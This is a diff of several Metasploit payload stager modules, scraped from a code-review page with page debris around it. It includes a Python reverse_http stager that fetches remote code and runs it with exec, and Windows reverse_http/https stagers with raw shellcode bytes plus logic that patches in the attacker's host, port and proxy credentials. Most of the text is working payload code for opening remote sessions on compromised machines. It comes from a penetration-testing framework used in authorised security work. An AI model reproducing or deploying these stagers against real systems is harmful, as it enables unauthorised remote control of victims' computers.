cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||||
|
|
||||||
|
@ -77,36 +66,4 @@ module Metasploit3
|
||||||
b64_stub << "')))"
|
b64_stub << "')))"
|
||||||
return b64_stub
|
return b64_stub
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Determine the maximum amount of space required for the features requested
|
|
||||||
#
|
|
||||||
def required_space
|
|
||||||
# Start with our cached default generated size
|
|
||||||
space = cached_size
|
|
||||||
|
|
||||||
# Add 100 bytes for the encoder to have some room
|
|
||||||
space += 100
|
|
||||||
|
|
||||||
# Make room for the maximum possible URL length
|
|
||||||
space += 256
|
|
||||||
|
|
||||||
# The final estimated size
|
|
||||||
space
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Return the longest URL that fits into our available space
|
|
||||||
#
|
|
||||||
def generate_callback_uri
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't have enough space
|
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 311
|
CachedSize = 306
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 331
|
CachedSize = 326
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -82,74 +82,70 @@ module Metasploit3
|
||||||
p[i, u.length] = u
|
p[i, u.length] = u
|
||||||
|
|
||||||
# patch proxy info
|
# patch proxy info
|
||||||
proxyhost = datastore['PayloadProxyHost'].to_s
|
proxyhost = datastore['PROXYHOST'].to_s
|
||||||
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
|
proxyport = datastore['PROXYPORT'].to_s || "8080"
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(proxyhost)
|
|
||||||
proxyhost = "[#{proxyhost}]"
|
|
||||||
end
|
|
||||||
|
|
||||||
proxyinfo = proxyhost + ":" + proxyport
|
proxyinfo = proxyhost + ":" + proxyport
|
||||||
if proxyport == "80"
|
if proxyport == "80"
|
||||||
proxyinfo = proxyhost
|
proxyinfo = proxyhost
|
||||||
end
|
end
|
||||||
if datastore['PayloadProxyType'].to_s == 'HTTP'
|
if datastore['PROXY_TYPE'].to_s == 'HTTP'
|
||||||
proxyinfo = 'http://' + proxyinfo
|
proxyinfo = 'http://' + proxyinfo
|
||||||
else #socks
|
else #socks
|
||||||
proxyinfo = 'socks=' + proxyinfo
|
proxyinfo = 'socks=' + proxyinfo
|
||||||
end
|
end
|
||||||
|
|
||||||
proxyloc = p.index("PROXYHOST:PORT")
|
proxyloc = p.index("PROXYHOST:PORT")
|
||||||
p = p.gsub("PROXYHOST:PORT",proxyinfo)
|
p = p.gsub("PROXYHOST:PORT",proxyinfo)
|
||||||
|
|
||||||
# Patch the call
|
# patch the call
|
||||||
calloffset = proxyinfo.length + 1
|
calloffset = proxyinfo.length
|
||||||
|
calloffset += 1
|
||||||
p[proxyloc-4] = [calloffset].pack('V')[0]
|
p[proxyloc-4] = [calloffset].pack('V')[0]
|
||||||
|
|
||||||
# Authentication credentials have not been specified
|
#Optional authentification
|
||||||
if datastore['PayloadProxyUser'].to_s == '' or
|
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||||
datastore['PayloadProxyPass'].to_s == '' or
|
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||||
datastore['PayloadProxyType'].to_s == 'SOCKS'
|
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||||
|
|
||||||
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
|
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
|
||||||
|
#remove auth code
|
||||||
# Remove the authentication code
|
|
||||||
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
|
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
|
||||||
else
|
else
|
||||||
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
|
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
|
||||||
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
|
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
|
||||||
jmp_offset =
|
jmp_offset = 16 + #PROXY_AUTH_START length
|
||||||
16 + # PROXY_AUTH_START length
|
15 + #PROXY_AUTH_STOP length
|
||||||
15 + # PROXY_AUTH_STOP length
|
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
|
||||||
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
|
password_size_diff # same with PROXY_PASSWORD
|
||||||
password_size_diff # Same with PayloadProxyPass
|
#patch call offset
|
||||||
|
|
||||||
# Patch call offset
|
|
||||||
username_loc = p.index("PROXY_USERNAME")
|
username_loc = p.index("PROXY_USERNAME")
|
||||||
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
|
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
|
||||||
password_loc = p.index("PROXY_PASSWORD")
|
password_loc = p.index("PROXY_PASSWORD")
|
||||||
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
|
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
|
||||||
|
#remove markers & change login/pwd
|
||||||
# Remove markers & change login/password
|
|
||||||
p = p.gsub("PROXY_AUTH_START","")
|
p = p.gsub("PROXY_AUTH_START","")
|
||||||
p = p.gsub("PROXY_AUTH_STOP","")
|
p = p.gsub("PROXY_AUTH_STOP","")
|
||||||
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
|
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
|
||||||
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
|
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
|
||||||
end
|
end
|
||||||
|
#patch jmp dbl_get_server_host
|
||||||
# Patch jmp dbl_get_server_host
|
|
||||||
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
|
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
|
||||||
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
|
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
|
||||||
|
#patch call Internetopen
|
||||||
# Patch call Internetopen
|
|
||||||
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
|
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
|
||||||
|
|
||||||
# Patch the LPORT
|
# patch the LPORT
|
||||||
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
|
lport = datastore['LPORT']
|
||||||
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
|
|
||||||
|
|
||||||
# Append LHOST and return payload
|
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
|
||||||
p + datastore['LHOST'].to_s + "\x00"
|
p[lportloc+1] = [lport.to_i].pack('V')[0]
|
||||||
|
p[lportloc+2] = [lport.to_i].pack('V')[1]
|
||||||
|
p[lportloc+3] = [lport.to_i].pack('V')[2]
|
||||||
|
p[lportloc+4] = [lport.to_i].pack('V')[3]
|
||||||
|
|
||||||
|
# append LHOST and return payload
|
||||||
|
|
||||||
|
lhost = datastore['LHOST']
|
||||||
|
p + lhost.to_s + "\x00"
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -85,7 +85,7 @@ module Metasploit3
|
||||||
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
|
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
|
||||||
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
|
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
|
||||||
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
|
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
|
||||||
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
|
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
|
||||||
"\x75\xCE\x58\x58\xC3" +
|
"\x75\xCE\x58\x58\xC3" +
|
||||||
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
|
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue